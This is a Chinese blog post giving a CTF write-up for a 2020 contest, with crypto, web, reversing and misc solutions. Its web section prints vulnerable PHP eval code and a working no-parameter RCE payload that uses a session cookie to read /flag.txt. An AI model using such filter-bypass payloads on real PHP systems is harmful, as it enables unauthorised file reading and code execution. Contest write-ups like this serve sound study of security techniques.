
<!DOCTYPE html>
<html lang="" class="loading">
<head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
    <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>易霖博_wp - L3SLIE</title>
    <meta name="apple-mobile-web-app-capable" content="yes" />
    <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
    <meta name="google" content="notranslate" />
    <meta name="keywords" content="L3SLIE,"> 
    <meta name="description" content="Welcome &amp; suit yourself,签到easyRSA，打开文件是一个公钥文件和密文
打开公钥文件：
n: 160917177654244576844762777659146190131989755235312920161650920,"> 
    <meta name="author" content="L3SLIE"> 
    <link rel="alternative" href="atom.xml" title="L3SLIE" type="application/atom+xml"> 
    <link rel="icon" href="/img/favicon.png"> 
    <link href="https://fonts.loli.net/css?family=Roboto+Mono|Rubik&display=swap" rel="stylesheet">
    
<link rel="stylesheet" href="//at.alicdn.com/t/font_1429596_nzgqgvnmkjb.css">

    
<link rel="stylesheet" href="//cdn.bootcss.com/animate.css/3.7.2/animate.min.css">

    
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/social-share.js/1.0.16/css/share.min.css">

    
<link rel="stylesheet" href="//cdn.bootcss.com/codemirror/5.48.4/codemirror.min.css">

    
<link rel="stylesheet" href="//cdn.bootcss.com/codemirror/5.48.4/theme/dracula.css">

    
<link rel="stylesheet" href="/css/obsidian.css">

    
<link rel="stylesheet" href="/css/ball-atom.min.css">

<meta name="generator" content="Hexo 4.2.0"></head>


<body class="loading">
    <div class="loader">
        <div class="la-ball-atom la-2x">
            <div></div>
            <div></div>
            <div></div>
            <div></div>
        </div>
    </div>
    <span id="config-title" style="display:none">L3SLIE</span>
    <div id="loader"></div>
    <div id="single">
    <div class="scrollbar gradient-bg-rev"></div>
<div id="top" style="display: block;">
    <div class="bar" style="width: 0;"></div>
    <div class="navigation animated fadeIn fast delay-1s">
        <img id="home-icon" class="icon-home" src="/img/favicon.png" alt="" data-url="http://l3slie.gitee.io">
        <div id="play-icon" title="Play/Pause" class="iconfont icon-play"></div>
        <h3 class="subtitle">易霖博_wp</h3>
        <div class="social">
            <!--        <div class="like-icon">-->
            <!--            <a href="javascript:;" class="likeThis active"><span class="icon-like"></span><span class="count">76</span></a>-->
            <!--        </div>-->
            <div>
                <div class="share">
                    
                        <a href="javascript:;" class="iconfont icon-share1"></a>
                        <div class="share-component-cc" data-disabled="facebook,douban,linkedin,diandian,tencent,google"></div>
                    
                </div>
            </div>
        </div>
    </div>
</div>

    <div class="section">
        <div class=article-header-wrapper>
    <div class="article-header">
        <div class="article-cover animated fadeIn" style="
            animation-delay: 600ms;
            animation-duration: 1.2s;
            background-image: 
                radial-gradient(ellipse closest-side, rgba(0, 0, 0, 0.65), #100e17),
                url(/img/cover1.jpg) ">
        </div>
        <div class="else">
            <p class="animated fadeInDown">
                
                <a href="/categories/XJUSEC"><b>「
                    </b>XJUSEC<b> 」</b></a>
                
                March 27, 2020
            </p>
            <h3 class="post-title animated fadeInDown"><a href="/2020/03/27/%E6%98%93%E9%9C%96%E5%8D%9A-wp/" title="易霖博_wp" class="">易霖博_wp</a>
            </h3>
            
            <p class="post-count animated fadeInDown">
                
                <span>
                    <b class="iconfont icon-text2"></b> <i>Words count</i>
                    7k
                </span>
                
                
                <span>
                    <b class="iconfont icon-timer__s"></b> <i>Reading time</i>
                    6 mins.
                </span>
                
                
                <span id="/2020/03/27/易霖博-wp/" class="leancloud_visitors" data-flag-title="易霖博_wp">
                    <b class="iconfont icon-read"></b> <i>Read count</i>
                    <span class="leancloud-visitors-count">100000</span>
                </span>
                
                
            </p>
            
            
            <ul class="animated fadeInDown post-tags-list" itemprop="keywords"><li class="animated fadeInDown post-tags-list-item"><a class="animated fadeInDown post-tags-list-link" href="/tags/CTF/" rel="tag">CTF</a></li><li class="animated fadeInDown post-tags-list-item"><a class="animated fadeInDown post-tags-list-link" href="/tags/WP/" rel="tag">WP</a></li></ul>
            
        </div>
    </div>
</div>

<div class="screen-gradient-after">
    <div class="screen-gradient-content">
        <div class="screen-gradient-content-inside">
            <div class="bold-underline-links screen-gradient-sponsor">
                <p>
                    <span class="animated fadeIn delay-1s"></span>
                </p>
            </div>
        </div>
    </div>
</div>

<div class="article">
    <div class='main'>
        <div class="content markdown animated fadeIn">
            <h1 id="签到"><a href="#签到" class="headerlink" title="签到"></a>签到</h1><p>easyRSA，打开文件是一个公钥文件和密文</p>
<p>打开公钥文件：</p>
<pre><code class="txt">n: 160917177654244576844762777659146190131989755235312920161650920454330700901285708705036625462660817025278197774342697076351398394812016989764011199891776500718976315030311407394226081435122239730999738681723354286178562137176780028946544816544599238111527952015949005540711762850436443529758612533253627125253
e: 65537
d: 64924729718075821305967886336926370744313488684745170436766614868752191788330205984078893609467588137729925165161200483587647837948324660014037629850898783298348972360263304840588705731411812516283596256722013028815384891938992840026209593048942265821918914158452350400458472477778075508443078129372103582521
p: 12944435826248333379944037717140276339639379489697892093867446449223056049972056868166854232967590969223783796034432935038640875918847311468201311580165959
q: 12431378224143350986782399921381316819202138437930325830879761010892223529627391238630643072976701214507779748021096626020375654551813646221127772182634067</code></pre>
<p>需要的条件都已知，使用解密工具RSAtools，解出flag</p>
<pre><code class="python">flag{We1c0meCtf3r_elab}</code></pre>
<h1 id="CRYPTO"><a href="#CRYPTO" class="headerlink" title="CRYPTO"></a>CRYPTO</h1><h2 id="CRYPTO-1"><a href="#CRYPTO-1" class="headerlink" title="CRYPTO-1"></a>CRYPTO-1</h2><p>CRC32碰撞</p>
<pre><code class="python">import binascii
import string

dic=string.printable #打印字符表
crc1=0x308E1D5B
crc2=0x5194C2D0
crc3=0x5C48F6CA
for i in dic:
    for j in dic:
        for n in dic:
            for m in dic:
                s=i+j+n+m
                if(crc1==(binascii.crc32(s) &amp; 0xffffffff)):
                    s1=s
                if (crc2 == (binascii.crc32(s) &amp; 0xffffffff)):
                    s2=s
                if (crc3 == (binascii.crc32(s) &amp; 0xffffffff)):
                    s3=s
print (s1+s2+s3)
#64p2@sworD20</code></pre>
<p>解压密码为就是<code>64p2@sworD20</code>;</p>
<p>解压就有flag</p>
<h2 id="CRYPTO-2"><a href="#CRYPTO-2" class="headerlink" title="CRYPTO-2"></a>CRYPTO-2</h2><p>RSAbackdoor</p>
<p>打开压缩包发现有加密的python程序，公钥和密文的txt文件，加密脚本如下</p>
<pre><code class="python">from Crypto.Util.number import getPrime, isPrime
flag = &#39;flag{a-z0-9}&#39;
nbits = 2048
gbits = 1000
g = getPrime(int(gbits))
while True:
    a = getPrime(int(nbits * 0.5) - gbits)
    p = 2 * g * a + 1   #重点在这两句
    if isPrime(p):
        break

while True:
    b = getPrime(int(nbits * 0.5) - gbits)
    q = 2 * g * b + 1   #重点在这两句
    if p != q and isPrime(q):
        break
N = p * q
e = 65537


def str2int(s):
    return int(s.encode(&#39;hex&#39;), 16)


with open(&#39;pubkey.txt&#39;, &#39;w&#39;) as f:
    f.write(str(e) + &#39;\n&#39;)
    f.write(str(N) + &#39;\n&#39;)

plain = str2int(flag)

c = pow(plain, e, N)
with open(&#39;cipher.txt&#39;, &#39;w&#39;) as f:
    f.write(hex(c))
</code></pre>
<p>观察发现P,Q有公因数2*g ，尝试Pollard‘s ρ method；</p>
<pre><code class="python">def gcd(a, b):
  while b:
    a, b = b, a%b
  return a

def findmapx(x):
  x=(pow(x,n-1,n)+3)%n
  return x

n=33774167600199691072470424898842928168570559940362770786060699320989546851695106466924163816843729828399984649770900793014896037884774039660562546937090412844276185560384964983508291174867808082182386566813393157054259464108858158903739578119760394228341564696225513954400995543629624209942565369972555679980359992955514826589781286738100616149226885302403505062415492679633217275379153421830105021673417544608398249866398042786421630495968810854036782025120509999022773806069591080190166920079688217334968528641747739241234353918892029263544388161160427668518991666960251381106788899451912317001247537576428186291689

x1=x2=1

while True:
  x1=findmapx(x1)
  x2=findmapx(findmapx(x2))
  p=gcd(x1-x2,n)
  if (p!=1):
    print(p)
    print(n/p)
    break


#p=177993461816075408240866752227210319316825574291000376727523991315086097605063837563342286560819823849610146713383370383386260295565108973920944593141677024612114517119831676665456754235233172344362610684938542774386956894066675103840244633202469661725050948177995671009070311486253646420435061175078660441183
#q=189749484366449861630736482622030204229600074936733397229668738586605895979811823994029500725448581332746860468289540041125768726148614579255062994177531727784605194094836998282676712435286273497842956368997116036170165393912022560935791934662695453870846024312915604049805219410140420469163797779129644454583</code></pre>
<p>N分解成功，再利用rsatools求解，就可以求出flag</p>
<h1 id="web"><a href="#web" class="headerlink" title="web"></a>web</h1><h2 id="rce-nopar"><a href="#rce-nopar" class="headerlink" title="rce_nopar"></a>rce_nopar</h2><ul>
<li>查看源码</li>
<li>无参数RCE</li>
</ul>
<pre><code class="php">&lt;?php
if(isset($_GET[&#39;var&#39;])){
        if(&#39;;&#39; === preg_replace(&#39;/[^\W]+\((?R)?\)/&#39;, &#39;&#39;, $_GET[&#39;var&#39;])) {
                if (!preg_match(&#39;/et|dir|na|info|dec|oct|pi|log/i&#39;, $_GET[&#39;var&#39;])) {
                    eval($_GET[&#39;var&#39;]);
                }
        }
        else{
            die(&quot;Sorry!&quot;);
        }
}
else{
    show_source(__FILE__);
}
?&gt;
</code></pre>
<ul>
<li>没有过滤下划线，有很多方法</li>
<li>payload：<code>http://124.193.74.212:30026/?var=var_dump(highlight_file(session_id(session_start())));</code></li>
<li>phpsessid改成<code>/flag.txt</code>；就有flag</li>
</ul>
<h1 id="RE"><a href="#RE" class="headerlink" title="RE"></a>RE</h1><h2 id="re1"><a href="#re1" class="headerlink" title="re1"></a>re1</h2><p>拖入ida，直接f12就有flag</p>
<h2 id="re4"><a href="#re4" class="headerlink" title="re4"></a>re4</h2><ul>
<li>找到字符串直接爆破，脚本如下：  </li>
</ul>
<pre><code class="python">a = &#39;ZCPTMWEHULCABSBD&#39;
flag = &#39;&#39;  
for i in range(len(a)):
    for j in range(64,91):
        if (j - 65 + (18-i)*29)%26 + 65 == ord(a[i]):  
            flag += chr(j)  

print(flag)</code></pre>
<h2 id="re5"><a href="#re5" class="headerlink" title="re5"></a>re5</h2><pre><code class="python">str=[0x003C, 0x0030, 0x003F, 0x0007, 0x0019, 0x0012, 0x0000, 0x001E, 0x0018, 0x001A, 0x001A, 0x0042, 0x0046, 0x0010, 0x0010, 0x0010, 0x0014, 0x001F, 0x000C, 0x00FD]  
x=90  
for i in str:  
    print(chr(i^x),end=&#39;&#39;)  
    x+=2    </code></pre>
<ul>
<li>将flag{与str异或就可以得出flag</li>
</ul>
<h1 id="MISC"><a href="#MISC" class="headerlink" title="MISC"></a>MISC</h1><h2 id="misc3"><a href="#misc3" class="headerlink" title="misc3"></a>misc3</h2><ul>
<li><p><code>tshark -r u.pcapng -T fields -e usb.capdata &gt; 1.txt</code> 命令解析数据包</p>
</li>
<li><p>安照<a href="https://web.archive.org/web/20160505193717if_/http://www.usb.org/developers/hidpage/Hut1_12v2.pdf" target="_blank" rel="noopener">对照表</a>一个一个读就行了</p>
</li>
<li><p><code>ipa&lt;ESC&gt;oover1&lt;ESC&gt;Ohonk&lt;ESC&gt;$jAe&lt;ESC&gt;As&lt;ESC&gt;joOF&lt;RET&gt;Nanle&lt;ESC&gt;k$3kAis&lt;ESC&gt;qqJxq3@qFFrfFaasswd</code></p>
</li>
<li><p>读出密码是honkover1esOfNanle，解压即可查看flag</p>
</li>
</ul>

            <!--[if lt IE 9]><script>document.createElement('audio');</script><![endif]-->
            <audio id="audio" loop="1" preload="auto" controls="controls"
                data-autoplay="false">
                <source type="audio/mpeg" src="">
            </audio>
            
            <ul id="audio-list" style="display:none">
                
                
                <li title='0' data-url='/statics/i saw you in a dream.mp3'></li>
                
                    
            </ul>
            
            
            
            <div id="vcomments"></div>
            
        </div>
        <div class="sidebar">
            <div class="box animated fadeInRight">
                <div class="subbox">
                    <img src="/img/avatar.jpg" height=300 width=300></img>
                    <p>L3SLIE</p>
                    <span>Life Long & Pwn</span>
                    <dl>
                        <dd><a href="https://github.com/13slie" target="_blank"><span
                                    class=" iconfont icon-github"></span></a></dd>
                        <dd><a href="" target="_blank"><span
                                    class=" iconfont icon-twitter"></span></a></dd>
                        <dd><a href="https://stackexchange.com/users/17805607/l3slie" target="_blank"><span
                                    class=" iconfont icon-stack-overflow"></span></a></dd>
                    </dl>
                </div>
                <ul>
                    <li><a href="/">46 <p>Articles</p></a></li>
                    <li><a href="/categories">13 <p>Categories</p></a></li>
                    <li><a href="/tags">20 <p>Tags</p></a></li>
                    <br><span><b><p>友链博客</p></b></span><br>
                    <span><u><p><a href="http://rdd.xjusec.club/" target="_blank">Rdd</a></p></u></span>
                    <span><u><p><a href="http://www.xjusec.club/" target="_blank">XJUSEC</a></p></u></span>
                    <span><u><p><a href="http://www.r1ght0us.xyz/" target="_blank">r1ght0us</a></p></u></span>
                </ul>
            </div>
            
            
            
            <div class="box sticky animated fadeInRight faster">
                <div id="toc" class="subbox">
                    <h4>Contents</h4>
                    <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#签到"><span class="toc-number">1.</span> <span class="toc-text">签到</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#CRYPTO"><span class="toc-number">2.</span> <span class="toc-text">CRYPTO</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#CRYPTO-1"><span class="toc-number">2.1.</span> <span class="toc-text">CRYPTO-1</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CRYPTO-2"><span class="toc-number">2.2.</span> <span class="toc-text">CRYPTO-2</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#web"><span class="toc-number">3.</span> <span class="toc-text">web</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#rce-nopar"><span class="toc-number">3.1.</span> <span class="toc-text">rce_nopar</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#RE"><span class="toc-number">4.</span> <span class="toc-text">RE</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#re1"><span class="toc-number">4.1.</span> <span class="toc-text">re1</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#re4"><span class="toc-number">4.2.</span> <span class="toc-text">re4</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#re5"><span class="toc-number">4.3.</span> <span class="toc-text">re5</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#MISC"><span class="toc-number">5.</span> <span class="toc-text">MISC</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#misc3"><span class="toc-number">5.1.</span> <span class="toc-text">misc3</span></a></li></ol></li></ol>
                </div>
            </div>
            
            
        </div>
    </div>
</div>

    </div>
</div>
    <div id="back-to-top" class="animated fadeIn faster">
        <div class="flow"></div>
        <span class="percentage animated fadeIn faster">0%</span>
        <span class="iconfont icon-top02 animated fadeIn faster"></span>
    </div>
</body>
<footer>
    <p class="copyright" id="copyright">
		<span id="timeDate">载入天数...</span><span id="times">载入时分秒...</span>
		<script>
		var now = new Date(); 
		function createtime() { 
			var grt= new Date("01/10/2020 00:00:00");//在此处修改你的建站时间
			now.setTime(now.getTime()+250); 
			days = (now - grt ) / 1000 / 60 / 60 / 24; dnum = Math.floor(days); 
			hours = (now - grt ) / 1000 / 60 / 60 - (24 * dnum); hnum = Math.floor(hours); 
			if(String(hnum).length ==1 ){hnum = "0" + hnum;} minutes = (now - grt ) / 1000 /60 - (24 * 60 * dnum) - (60 * hnum); 
			mnum = Math.floor(minutes); if(String(mnum).length ==1 ){mnum = "0" + mnum;} 
			seconds = (now - grt ) / 1000 - (24 * 60 * 60 * dnum) - (60 * 60 * hnum) - (60 * mnum); 
			snum = Math.round(seconds); if(String(snum).length ==1 ){snum = "0" + snum;} 
			document.getElementById("timeDate").innerHTML = "本站已安全运行 "+dnum+" 天 "; 
			document.getElementById("times").innerHTML = hnum + " 小时 " + mnum + " 分 " + snum + " 秒"; 
		} 
		setInterval("createtime()",250);
		</script>
        &copy; 2020
        <span class="gradient-text">
            L3SLIE
        </span>❤
        Powered by <a href="http://hexo.io/" title="Hexo" target="_blank" rel="noopener">Hexo</a>
        Theme
        <span class="gradient-text">
            <a href="https://github.com/TriDiamond/hexo-theme-obsidian" title="Obsidian" target="_blank" rel="noopener">Obsidian</a>
        </span>
        <small><a href="https://github.com/TriDiamond/hexo-theme-obsidian/blob/master/CHANGELOG.md" title="v1.4.3" target="_blank" rel="noopener">v1.4.3</a></small>
    </p>
</footer>

<script type="text/javascript" src="https://cdn.bootcss.com/mathjax/2.7.6/MathJax.js?config=TeX-AMS-MML_HTMLorMML">
</script>
<script>
  MathJax.Hub.Config({
    "HTML-CSS": {
      preferredFont: "TeX",
      availableFonts: ["STIX", "TeX"],
      linebreaks: {
        automatic: true
      },
      EqnChunk: (MathJax.Hub.Browser.isMobile ? 10 : 50)
    },
    tex2jax: {
      inlineMath: [
        ["$", "$"],
        ["\\(", "\\)"]
      ],
      processEscapes: true,
      ignoreClass: "tex2jax_ignore|dno",
      skipTags: ['script', 'noscript', 'style', 'textarea', 'pre', 'code']
    },
    TeX: {
      noUndefined: {
        attributes: {
          mathcolor: "red",
          mathbackground: "#FFEEEE",
          mathsize: "90%"
        }
      },
      Macros: {
        href: "{}"
      }
    },
    messageStyle: "none"
  });
</script>
<script>
  function initialMathJax() {
    MathJax.Hub.Queue(function () {
      var all = MathJax.Hub.getAllJax(),
        i;
      // console.log(all);
      for (i = 0; i < all.length; i += 1) {
        console.log(all[i].SourceElement().parentNode)
        all[i].SourceElement().parentNode.className += ' has-jax';
      }
    });
  }

  function reprocessMathJax() {
    if (typeof MathJax !== 'undefined') {
      MathJax.Hub.Queue(["Typeset", MathJax.Hub]);
    }
  }
</script>




<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script src="/js/plugin.js"></script>
<script src="/js/obsidian.js"></script>
<script src="/js/jquery.truncate.js"></script>
<script src="/js/search.js"></script>


<script src="//cdn.bootcss.com/typed.js/2.0.10/typed.min.js"></script>


<script src="//cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js"></script>


<script src="//cdnjs.cloudflare.com/ajax/libs/social-share.js/1.0.16/js/social-share.min.js"></script>


<script src="https://cdn.bootcss.com/codemirror/5.48.4/codemirror.min.js"></script>

    
<script src="//cdn.bootcss.com/codemirror/5.48.4/mode/javascript/javascript.min.js"></script>


    
<script src="//cdn.bootcss.com/codemirror/5.48.4/mode/css/css.min.js"></script>


    
<script src="//cdn.bootcss.com/codemirror/5.48.4/mode/xml/xml.min.js"></script>


    
<script src="//cdn.bootcss.com/codemirror/5.48.4/mode/htmlmixed/htmlmixed.min.js"></script>


    
<script src="//cdn.bootcss.com/codemirror/5.48.4/mode/clike/clike.min.js"></script>


    
<script src="//cdn.bootcss.com/codemirror/5.48.4/mode/php/php.min.js"></script>


    
<script src="//cdn.bootcss.com/codemirror/5.48.4/mode/shell/shell.min.js"></script>


    
<script src="//cdn.bootcss.com/codemirror/5.48.4/mode/python/python.min.js"></script>




    
<script src="/js/busuanzi.min.js"></script>

    <script>
        $(document).ready(function () {
            if ($('span[id^="busuanzi_"]').length) {
                initialBusuanzi();
            }
        });
    </script>



<link rel="stylesheet" href="//cdn.bootcss.com/photoswipe/4.1.3/photoswipe.min.css">
<link rel="stylesheet" href="//cdn.bootcss.com/photoswipe/4.1.3/default-skin/default-skin.min.css">


<script src="//cdn.bootcss.com/photoswipe/4.1.3/photoswipe.min.js"></script>
<script src="//cdn.bootcss.com/photoswipe/4.1.3/photoswipe-ui-default.min.js"></script>


<!-- Root element of PhotoSwipe. Must have class pswp. -->
<div class="pswp" tabindex="-1" role="dialog" aria-hidden="true">
    <!-- Background of PhotoSwipe. 
         It's a separate element as animating opacity is faster than rgba(). -->
    <div class="pswp__bg"></div>
    <!-- Slides wrapper with overflow:hidden. -->
    <div class="pswp__scroll-wrap">
        <!-- Container that holds slides. 
            PhotoSwipe keeps only 3 of them in the DOM to save memory.
            Don't modify these 3 pswp__item elements, data is added later on. -->
        <div class="pswp__container">
            <div class="pswp__item"></div>
            <div class="pswp__item"></div>
            <div class="pswp__item"></div>
        </div>
        <!-- Default (PhotoSwipeUI_Default) interface on top of sliding area. Can be changed. -->
        <div class="pswp__ui pswp__ui--hidden">
            <div class="pswp__top-bar">
                <!--  Controls are self-explanatory. Order can be changed. -->
                <div class="pswp__counter"></div>
                <button class="pswp__button pswp__button--close" title="Close (Esc)"></button>
                <button class="pswp__button pswp__button--share" title="Share"></button>
                <button class="pswp__button pswp__button--fs" title="Toggle fullscreen"></button>
                <button class="pswp__button pswp__button--zoom" title="Zoom in/out"></button>
                <!-- Preloader demo http://codepen.io/dimsemenov/pen/yyBWoR -->
                <!-- element will get class pswp__preloader--active when preloader is running -->
                <div class="pswp__preloader">
                    <div class="pswp__preloader__icn">
                      <div class="pswp__preloader__cut">
                        <div class="pswp__preloader__donut"></div>
                      </div>
                    </div>
                </div>
            </div>
            <div class="pswp__share-modal pswp__share-modal--hidden pswp__single-tap">
                <div class="pswp__share-tooltip"></div> 
            </div>
            <button class="pswp__button pswp__button--arrow--left" title="Previous (arrow left)">
            </button>
            <button class="pswp__button pswp__button--arrow--right" title="Next (arrow right)">
            </button>
            <div class="pswp__caption">
                <div class="pswp__caption__center"></div>
            </div>
        </div>
    </div>
</div>







<script>
    function initialTyped () {
        var typedTextEl = $('.typed-text');
        if (typedTextEl && typedTextEl.length > 0) {
            var typed = new Typed('.typed-text', {
                strings: ["Life Long &amp; Pwn", "生命不息，破解不止"],
                typeSpeed: 90,
                loop: true,
                loopCount: Infinity,
                backSpeed: 20,
            });
        }
    }

    if ($('.article-header') && $('.article-header').length) {
        $(document).ready(function () {
            initialTyped();
        });
    }
</script>


    
<script src="//unpkg.com/valine/dist/Valine.min.js"></script>

    <script>

        var valine = new Valine();

        function initValine(path) {
            if (!path) path = window.location.pathname;
            let language = '';
            if (!language) {
                language = 'en';
            } else {
                language = language.toLowerCase();
            }
            valine.init({
                el: '#vcomments',
                appId: 'GnPlbHQ9xAWEoCDC8rR3zALj-gzGzoHsz',
                appKey: 'Nygd2awSxr9ioTDtvbH6hE0l',
                notify: 'false',
                verify: 'false',
                avatar: 'mm',
                placeholder: 'feel free to comment~',
                visitor: 'true',
                path: path,
                lang: language
            });
        }

        $(document).ready(function () {
            initValine();
        });
    </script>



</html>
<!-- 页面点击小红心 -->
<script type="text/javascript" src="/js/love.js"></script>
<!-- 烟火效果 -->
<canvas class="fireworks" style="position: fixed;left: 0;top: 0;z-index: 1; pointer-events: none;" ></canvas> 
<script type="text/javascript" src="//cdn.bootcss.com/animejs/2.2.0/anime.min.js"></script> 
<script type="text/javascript" src="/js/fireworks.js"></script>
<!--自定义标题-->
<script type="text/javascript" src="\js\title.js"></script>
